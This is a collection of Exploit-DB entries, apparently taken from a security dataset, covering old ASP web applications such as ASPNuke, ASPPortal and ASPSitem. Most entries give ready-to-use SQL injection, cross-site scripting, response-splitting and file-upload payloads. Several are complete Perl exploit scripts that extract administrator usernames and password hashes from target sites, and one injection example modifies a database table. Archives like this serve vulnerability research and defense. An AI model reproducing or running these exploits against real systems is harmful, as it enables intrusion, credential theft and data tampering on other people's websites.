deardaniel/secdata-raw huggingface dataset:
Exploit-DB #25498
Description: ASPNuke 0.80 - 'Comments.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2005-04-22
Author: Dcrab

Exploit:
source: https://www.securityfocus.com/bid/13315/info

ASPNuke is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/module/support/task/comments.asp?taskid='[SQL_INJECTION]
Exploit-DB #1071
Description: ASPNuke 0.80 - 'comment_post.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2005-06-27
Author: Alberto Trivero

Exploit:
#!/usr/bin/perl -w
#
# SQL Injection Exploit for ASPNuke <= 0.80
# This exploit retrieve the username of the administrator of the board and his password crypted in SHA256
# Related advisory: http://www.securityfocus.com/archive/1/403479/30/0/threaded
# Discovered and Coded by Alberto Trivero

use LWP::Simple;

print "\n\t===============================\n";
print "\t= Exploit for ASPNuke <= 0.80 =\n";
print "\t=     by Alberto Trivero      =\n";
print "\t===============================\n\n";

if(@ARGV!=1 or !($ARGV[0]=~m/http/)) {
   print "Usage:\nperl $0 [full_target_path]\n\nExamples:\nperl $0 http://www.example.com/aspnuke/\n";
   exit(0);
}

$page=get($ARGV[0]."module/support/task/comment_post.asp?TaskID=Username") || die "[-] Unable to retrieve: $!";
print "[+] Connected to: $ARGV[0]\n";
$page=~m/the varchar value '(.*?)' to a column/ && print "[+] Username of admin is: $1\n";
print "[-] Unable to retrieve Username\n" if(!$1);
$page=get($ARGV[0]."module/support/task/comment_post.asp?TaskID=Password") || die "[-] Unable to retrieve: $!";
$page=~m/the varchar value '(.*?)' to a column/ && print "[+] SHA256 hash of password is: $1\n";
print "[-] Unable to retrieve hash of password\n" if(!$1);

# milw0rm.com [2005-06-27]
Exploit-DB #25500
Description: ASPNuke 0.80 - 'detail.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2005-04-22
Author: Dcrab

Exploit:
source: https://www.securityfocus.com/bid/13317/info

ASPNuke is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

http://www.example.com/module/support/task/detail.asp?taskid='[SQL_INJECTION]
Exploit-DB #25905
Description: ASPNuke 0.80 - 'forgot_password.asp?email' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2005-06-27
Author: Alberto Trivero

Exploit:
source: https://www.securityfocus.com/bid/14062/info

ASPNuke is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/module/account/register/forgot_password.asp?email=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
Exploit-DB #25907
Description: ASPNuke 0.80 - 'Language_Select.asp' HTTP Response Splitting
Type: webapps
Platform: asp
Date: 2005-06-27
Author: Alberto Trivero

Exploit:
source: https://www.securityfocus.com/bid/14063/info

ASPNuke is prone to an HTTP response splitting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

A remote attacker may exploit this vulnerability to influence or misrepresent how Web content is served, cached or interpreted. This could aid in various attacks that attempt to entice client users into a false sense of trust. 

http://www.example.com/module/support/language/language_select.asp?action=go&LangCode=trivero%0d%0aSet-Cookie%3Asome%3Dvalue
Exploit-DB #25501
Description: ASPNuke 0.80 - 'profile.asp' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2005-04-22
Author: Dcrab

Exploit:
source: https://www.securityfocus.com/bid/13319/info

ASPNuke is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/module/discuss/forum/profile.asp?topicid=1&thradid=346&username='%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
Exploit-DB #25906
Description: ASPNuke 0.80 - 'register.asp' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: asp
Date: 2005-06-27
Author: Alberto Trivero

Exploit:
source: https://www.securityfocus.com/bid/14062/info
 
ASPNuke is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/module/account/register/register.asp?FirstName=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/module/account/register/register.asp?LastName=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/module/account/register/register.asp?Username=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/module/account/register/register.asp?[CREDENTIAL_REDACTED](document.cookie)%3C/script%3E
http://www.example.com/module/account/register/register.asp?Address1=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/module/account/register/register.asp?Address2=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/module/account/register/register.asp?City=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/module/account/register/register.asp?ZipCode=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/module/account/register/register.asp?Email=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
Exploit-DB #2813
Description: ASPNuke 0.80 - 'register.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2006-11-19
Author: ajann

Exploit:
*******************************************************************************
# Title  :  ASPNuke <= 0.80 (register.asp) Remote SQL Injection Vulnerability
# Author :  ajann
# S.Page :  http://www.aspnuke.com
# D.Page :  http://sourceforge.net/project/showfiles.php?group_id=92470

*******************************************************************************

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
ASP Nuke
Kenneth W. Richards
Orvado Technologies
-Introduction-

ASP Nuke is an open-source software application for running a
community-based web site on a web server.
By open-source, we mean the code is freely available for others to read,
modify and use in accordance
with the software license.
ASP Nuke is an extensible framework that allows you to upgrade and add
applications to the website quickly
and easily. It uses a modular architecture allowing others to rapidly
develop new modules and site operators
to re-organize the layout and navigation for their site.
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

Vulnerability::
_________________

###http://[target]/[path]//module/account/register/register.asp?StateCode=[SQL]&..&..&..&..&..&..&..&..&....

Example = Poll Update

///module/account/register/register.asp?StateCode=0',0,0,0,0,0);update%20tblPoll%20set%20Question%20=%20'hacked'--&FirstName=namename1&LastName=namename2&Username=abcdefghijk&[CREDENTIAL_REDACTED]=[PII_REDACTED]&Address1=kro.mahallesi&Address2=kro.apt&City=aaaaaaaaa&ZipCode=101010101&CountryID=0&Email=mailmail@mailbidaamail.com&Action=ADD&_dummy=Register

Note: Change UserName because ; failed:already username dont write.

Some tables,columns
___________________

[tblMember]    |  [FaqQuestion]
MemberID       |  QuestionID
Username       |  DocumentID
Password       |  Question
Firstname      |  Answer
Middlename     |  Active
EmailAddress   |  OrderNo
..             |  ..


"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2006-11-19]
Exploit-DB #25502
Description: ASPNuke 0.80 - 'Select.asp' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2005-04-22
Author: Dcrab

Exploit:
source: https://www.securityfocus.com/bid/13320/info

ASPNuke is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/module/support/language/select.asp?code='%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
Exploit-DB #2746
Description: AspPired2Poll 1.0 - 'MoreInfo.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2006-11-09
Author: ajann

Exploit:
#!/usr/bin/perl
#[Script Name: AspPired2 Poll <= 1.0 (MoreInfo.asp) Remote SQL Injection Exploit
#[Coded by   : ajann
#[Author     : ajann
#[Contact    : :(

use IO::Socket;
if(@ARGV < 3){
print "
[========================================================================
[//  AspPired2 Poll <= 1.0 (MoreInfo.asp) Remote SQL Injection Exploit
[//           Usage: class.pl [target] [path] [userid]
[//                   Example: exploit.pl victim.com / 1
[//                   Example: exploit.pl victim.com /path/ 1
[//                           Vuln&Exp : ajann
[========================================================================
";
exit();
}
#Local variables
$server = $ARGV[0];
$server =~ s/(http:\/\/)//eg;
$host = "http://".$server;
$port = "80";
$dir = $ARGV[1];
$file = "MoreInfo.asp?id=";
$target = "-1+union+select+login+from+user+where+no+like%20".$ARGV[2];
$target = $host.$dir.$file.$target;

$targettwo = "-1+union+select+password+from+user+where+no+like%20".$ARGV[2];
$targettwo = $host.$dir.$file.$targettwo;



#Writing data to socket
print "+**********************************************************************+\n";
print "+ Trying to connect: $server\n";
$socket = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$server", PeerPort => "$port") || die "\n+ Connection failed...\n";
print $socket "GET $target\n";
print $socket "Host: $server\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
print "+ Connected!...\n";
#Getting
while($answer = <$socket>) {
if ($answer =~ /ltext\">(.*?)<\/td>/){ 
print "+ Exploit succeed! Getting admin information.\n";
print "+ ---------------- +\n";
print "+ Username: $1\n";

print "+**********************************************************************+\n";
print "+ Trying to connect for [CREDENTIAL_REDACTED]\n";
$socket1 = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$server", PeerPort => "$port") || die "\n+ Connection failed...\n";
print $socket1 "GET $targettwo\n";
print $socket1 "Host: $server\n";
print $socket1 "Accept: */*\n";
print $socket1 "Connection: close\n\n";
print "+ Connected!...\n";
#Getting
while($answer = <$socket1>) {
if ($answer =~ /ltext\">(.*?)<\/td>/){ 
print "+ Exploit succeed! Getting admin information.\n";
print "+ ---------------- +\n";
print "+ Password: $1\n";
print "+**********************************************************************+\n";
exit();
}


if ($answer =~ /Ad removed or not yet approved/) { 
print "+ Exploit Failed : ( \n";
print "+**********************************************************************+\n";
exit(); 
}

if ($answer =~ /Internal Server Error/) {
print "+ Exploit Failed : (  \n";
print "+**********************************************************************+\n";
exit(); 
}
 }
   } 
    }
print "+ Exploit failed :(\n";
print "+**********************************************************************+\n";

# milw0rm.com [2006-11-09]
Exploit-DB #25908
Description: ASPPlayGround.NET 3.2 SR1 - Arbitrary File Upload
Type: webapps
Platform: asp
Date: 2005-06-27
Author: Psycho

Exploit:
source: https://www.securityfocus.com/bid/14070/info

ASPPlayground.NET is prone to a remote arbitrary file-upload vulnerability.

Exploiting this issue may allow remote attackers to upload arbitrary files including malicious scripts and possibly execute the scripts the affected server.

This issue can ultimately help attackers gain unauthorized access in the context of the webserver. 

http://www.example.com/forum/uploadpro.asp?memori=&deletefile=&mode=

refer to

http://www.example.com/forum/post.asp

*

ASP Playground html bug :
___________________________

<html>
<head>
<title>ASP Playground Version beta 3.2 SR1 upload Arbitrary Files
</title>

</table>
<br>
<table width="98%" border="0" cellspacing="0" cellpadding="0">

<form method="POST" action="http://www.example.com/forum/uploadpro.asp?

memori=&deletefile=&mode=" enctype="multipart/form-data"

onSubmit="return respondToUploader(this)">
<tr>
<td bgcolor="8d5a18">
<table width="100%" border="0" cellspacing="1"

cellpadding="4">
<tr>
<td bgcolor="f8fff3">
upload<br>
<input type="file" name="File1" size="22">
</td>
</tr>
</table>
</td>
</tr>
<tr>
<td>
<hr size="1" noshade>
</td>
</tr>
<tr>
<td align="right">
<input type="submit" name="submit" value="upload">

</td>
</tr>
</form>

</table>
</body>
<center><b>pOWERED By Team-Evil l8oo8l@gmail.com
</html>
Exploit-DB #28742
Description: ASPPlayGround.NET Forum 2.4.5 - 'Calendar.asp' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2006-10-27
Author: MizoZ

Exploit:
source: https://www.securityfocus.com/bid/20335/info

ASPPlayground.NET Forum Advanced Edition is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Version 2.4.5 is vulnerable; other versions may also be affected.

www.example.com/forum/calendar.asp?calendarID=[Xss]
Exploit-DB #7316
Description: ASPPortal 3.2.5 - Database Disclosure
Type: webapps
Platform: asp
Date: 2008-12-01
Author: CWH Underground

Exploit:
===================================================================
  ASPPortal Free Version Remote Database Disclosure Vulnerability
===================================================================

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O	.. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'
	

AUTHOR : CWH Underground
DATE   : 1 December 2008
SITE   : cwh.citec.us


#####################################################
 APPLICATION : ASPPortal
 VERSION     : Free Version
 VENDOR	     : www.aspportal.net
 Download    : www.aspportal.net/download.aspx
#####################################################

http://[Target]/[aspportal_path]/Data/ASPPortal.mdb

# milw0rm.com [2008-12-01]
Exploit-DB #5775
Description: ASPPortal Free Version - 'Topic_Id' SQL Injection
Type: webapps
Platform: asp
Date: 2008-06-10
Author: JosS

Exploit:
--==+=================== Spanish Hackers Team (www.spanish-hackers.com) =================+==--
--==+         ASPPortal Free Version (Topic_Id) Remote SQL Injection Vulnerability       +==--
--==+====================================================================================+==--
                          - dreaming of necessity is reason to comply -


[+] Info:

[~] Bug found by JosS
[~] sys-project[at]hotmail.com
[~] http://www.spanish-hackers.com
[~] EspSeC & Hack0wn!.

[~] Software: ASPPortal Free Version
[~] HomePage: http://www.aspportal.net/
[~] Exploit: Remote SQL Injection Vulnerability [High]

[~] Dork: "Powered by  www.aspportal.net"

[+] Remote SQL Injection:

[~] Vuln file: /content/forums/reply.asp

    // -------------------------------------- //

line 2:    <%
	Dim TopicID
	Dim ForumID
	
	TopicID = Server.HTMLEncode(request("Topic_id"))
	ForumID = Server.HTMLEncode(request("Forum_ID"))
%>
<% 
'sub db_select_detail_Disc_Topics
	sql="SELECT Forums_Topics.Topic_ID, Forums_Topics.Forum_ID, Forums_Topics.Author, Forums_Topics.Topic_Subject, Forums_Topics.Topic_Message, Forums_Topics.IsActive, Forums_Topics.IsLocked, Forums_Topics.Date_Added, Forums_Topics.Created_By, Forums_Topics.Enable_EMail, Forums_Topics.Enable_Sign, Forums_Topics.Icon, users.Username, users.User_id, users.Signature FROM users RIGHT OUTER JOIN Forums_Topics ON users.User_id = Forums_Topics.Author Where Topic_ID = " & to_sql(TopicID,"number") & ""
                      
	'response.write sql	
	
	set rs = cn.Execute(sql)

line 21:		TopicId = rs("Topic_Id")

    // -------------------------------------- //

[~] http://localhost/PATH/content/forums/reply.asp?Forum_Id=3&Topic_Id=[SQL]
[~] 6+and+1=2+union+select+1,2,3,4,Password,6,7,Username,9,0,1,2,3,4,5+from+users


[~] GreeTz: str0ke; nhh-32; an0de; ka0x; s3ism0; ayin; k0rde; zy0nx; you_know; shh-32; nettoxic; phnx; murder; and more...

* In memory of rgod

--==+=================== Spanish Hackers Team (www.spanish-hackers.com) =================+==--
--==+                                       JosS                                         +==--
--==+====================================================================================+==--
                                       [+] [The End]

# milw0rm.com [2008-06-10]
Exploit-DB #7274
Description: ASPReferral 5.3 - 'AccountID' Blind SQL Injection
Type: webapps
Platform: asp
Date: 2008-11-29
Author: R3d-D3V!L

Exploit:
[~] ----------------------------Ø¨Ø³Ù… Ø§Ù„Ù„Ù‡ Ø§Ù„Ø±Ø­Ù…Ù† Ø§Ù„Ø±Ø­ÙŠÙ…------------------------------
 [~]Tybe:(Merchantsadd.asp AccountID) Blind SQL Injection Vulnerability
   
 [~]Vendor:www.activewebsoftwares.com
   
 [~]Software: ASPReferral
   
 [~]author: ((Ñ3d D3v!L))
   
 [~] Date: 28.11.2008
   
 [~] Home: www.ahacker.biz
   
 [~] contact: N/A

[~] -----------------------------------------------------------
   
 [~]3xpL0!7 4 d3m0:
   
  http://www.activewebsoftwares.com/demoaspreferral/Merchantsadd.asp?AccountID={bL!ND}
   
 [~] 8L!/\/D:
   
  7Ru3 : Merchantsadd.asp?AccountID= 1 and 1=1
  f4L53: Merchantsadd.asp?AccountID= 1 and 1=2
   
   
 
[~]--------------------------------------------------------------------------------
  
  [~] Greetz tO: {str0ke} &keta &m4n0n & maxmos & EV!L KS@ & hesham_hacker &Ø§Ù„Ø²Ù‡ÙŠØ±ÙŠ
  [~]
  [~] spechial thanks : dolly & 7am3m & Ø¹Ù…Ø§Ø¯ & {str0ke}
  [~]
  [~] EV!L !NS!D3 734M --- R3d-D3v!L--EXOT!C --poison scorbion --samakiller
  [~]
  [~] xp10.biz & ahacker.biz
  [~]
  
[~]--------------------------------------------------------------------------------

# milw0rm.com [2008-11-29]
Exploit-DB #26701
Description: ASPS Shopping Cart Lite 2.1/Professional 2.9 d - 'adv_search.asp?srch_product_name' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2005-12-03
Author: r0t3d3Vil

Exploit:
source: https://www.securityfocus.com/bid/15694/info

ASPS Shopping Cart is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/products/adv_search.asp?srch_product_name=%3Cscript%3Ealert%28%27r0t%27%29%3C%2Fscript%3E&srch_product_price1=&srch_product_price2=&srch_product_stocknumber=&srch_product_category=&advance_submit=Search
Exploit-DB #26702
Description: ASPS Shopping Cart Lite 2.1/Professional 2.9 d - 'bsearch.asp?b_search' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2005-12-03
Author: r0t3d3Vil

Exploit:
source: https://www.securityfocus.com/bid/15694/info
 
ASPS Shopping Cart is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site.

http://www.example.com/products/bsearch.asp?b_search=%3Cscript%3Ealert%28%27r0t%27%29%3C%2Fscript%3E&x=12&y=7
Exploit-DB #1700
Description: ASPSitem 1.83 - 'Haberler.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2006-04-19
Author: nukedx

Exploit:
#!/usr/bin/perl
#Method found & Exploit scripted by nukedx
#Contacts > ICQ: 10072 MSN/Main: nukedx@nukedx.com web: www.nukedx.com
#Original advisory: http://www.nukedx.com/?viewdoc=23
#Usage: aspsi.pl <host> <path> <userid>
use IO::Socket;
if(@ARGV != 3) { usage(); }
else { exploit(); }
sub header()
{
  print "\n- NukedX Security Advisory Nr.2006-23\r\n";
  print "- ASPSitem <= 1.83 Remote SQL Injection Exploit\r\n";
}
sub usage() 
{
  header();
  print "- Usage: $0 <host> <path>\r\n";
  print "- <host> -> Victim's host ex: www.victim.com\r\n";
  print "- <path> -> Path to ASPSitem ex: /aspsitem/\r\n";
  print "- <userid> -> ID of user that you want info ex: 1\r\n";
  exit();
}
sub exploit () 
{
  #Our variables...
  $asserver = $ARGV[0];
  $asserver =~ s/(http:\/\/)//eg;
  $ashost   = "http://".$asserver;
  $asdir    = $ARGV[1];
  $asport   = "80";
  $astar    = "Haberler.asp?haber=devam&id=";
  $asxp     = "-1%20UNION%20SELECT%20cevap,id,0,kulladi,sifre,kayittarih,email%20FROM%20uyeler%20where%20id%20like%20".$ARGV[2];
  $asreq    = $ashost.$asdir.$astar.$asxp;
  #Sending data...
  header();
  print "- Trying to connect: $asserver\r\n";
  $as = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$asserver", PeerPort => "$asport") || die "- Connection failed...\n";
  print $as "GET $asreq HTTP/1.1\n";
  print $as "Accept: */*\n";
  print $as "Referer: $ashost\n";
  print $as "Accept-Language: tr\n";
  print $as "User-Agent: NukeZilla\n";
  print $as "Cache-Control: no-cache\n";
  print $as "Host: $asserver\n";
  print $as "Connection: close\n\n";
  print "- Connected...\r\n";
  while ($answer = <$as>) {
    if ($answer =~ /class=\"tablo_baslik\"><b>» (.*?)<\/b><\/td>/) {
      if ($1 == $ARGV[2]) {
        print "- Exploit succeed! Getting USERID: $ARGV[2]'s credentials\r\n";
      }
      else { die "- Exploit failed\n"; }     
    }
    if ($answer =~ /\" align=\"left\">(.*?)</) {
      print "- Username: $1\r\n";
    }
    if ($answer =~ /Ekleyen&nbsp;&nbsp;\(<b>(.*?)<\/b>\)/) {
      print "- MD5 HASH of PASSWORD: $1\r\n";
    }
    if ($answer =~ /\| (.*?) ]<br>/) {
      print "- Regdate: $1\r\n";
    }
    if ($answer =~ /haber=yorum&id=(.*?)\">Yorumlar/) {
      print "- Email: $1\r\n";
    }
    if ($answer =~ / Okunma : (.*?) /) {
      print "- MD5 hash of answer: $1\r\n";
      exit();
    }
  }
  #Exploit failed...
  print "- Exploit failed\n"
}

#nukedx.com [2006-04-19]

# milw0rm.com [2006-04-19]